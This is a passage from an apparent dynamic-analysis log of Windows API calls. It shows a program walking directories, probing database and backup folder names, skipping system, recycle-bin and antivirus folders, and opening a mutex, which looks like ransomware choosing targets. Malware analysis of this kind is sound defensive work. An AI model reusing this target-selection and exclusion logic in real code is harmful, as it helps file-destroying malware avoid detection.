lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0047.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@℔R企@\x18?T\x18D")) returned 0xffffffff [0047.957] GetLastError () returned 0x2 [0047.958] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0047.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18翌R\x18j")) returned 0xffffffff [0047.958] GetLastError () returned 0x2 [0047.958] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0047.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@琬T企@\x18?T\x18q")) returned 0xffffffff [0047.959] GetLastError () returned 0x2 [0047.959] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈Rð") returned 6 [0047.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0047.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@⎌U企@\x18?T\x18y")) returned 0xffffffff [0047.959] GetLastError () returned 0x2 [0047.959] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0047.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18?T\x18\x81")) returned 0xffffffff [0047.960] GetLastError () returned 0x2 [0047.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0047.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@℔R企@\x18?T\x18\x88")) returned 0xffffffff [0047.960] GetLastError () returned 0x2 [0047.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0047.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@⎌U企@\x18?T\x18\x8f")) returned 0xffffffff [0047.961] GetLastError () returned 0x2 [0047.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0047.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18?T\x18\x97")) returned 0xffffffff [0047.961] GetLastError () returned 0x2 [0047.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.961] GlobalLock (hMem=0x440004) returned 0x555568 [0047.961] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.962] GlobalUnlock (hMem=0x440004) returned 0 [0047.962] GlobalLock (hMem=0x440004) returned 0x555568 [0047.962] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.962] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.962] GlobalUnlock (hMem=0x440004) returned 0 [0047.962] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.962] GlobalUnlock (hMem=0x44000c) returned 0 [0047.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.962] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.962] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0047.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.962] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0047.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.963] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69750, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0047.963] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.963] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.963] GlobalUnlock (hMem=0x44000c) returned 0 [0047.963] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.963] GlobalLock (hMem=0x440004) returned 0x557578 [0047.963] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.963] GlobalUnlock (hMem=0x44000c) returned 0 [0047.963] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.963] GlobalUnlock (hMem=0x440004) returned 0 [0047.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0047.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0047.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0047.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0047.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0047.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0047.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0047.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0047.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0047.965] GlobalLock (hMem=0x440004) returned 0x555568 [0047.965] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.965] GlobalUnlock (hMem=0x440004) returned 0 [0047.965] GlobalLock (hMem=0x440004) returned 0x555568 [0047.965] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.965] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.965] GlobalUnlock (hMem=0x440004) returned 0 [0047.965] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.965] GlobalUnlock (hMem=0x44000c) returned 0 [0047.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0047.965] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.965] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0047.966] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0047.966] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.966] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.966] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.966] GlobalUnlock (hMem=0x44000c) returned 0 [0047.966] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.966] GlobalLock (hMem=0x440004) returned 0x557578 [0047.966] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.966] GlobalUnlock (hMem=0x44000c) returned 0 [0047.966] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.966] GlobalUnlock (hMem=0x440004) returned 0 [0047.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.966] CharLowerBuffW (in: lpsz="InfoPathMUI.XML", cchLength=0xf | out: lpsz="infopathmui.xml") returned 0xf [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, 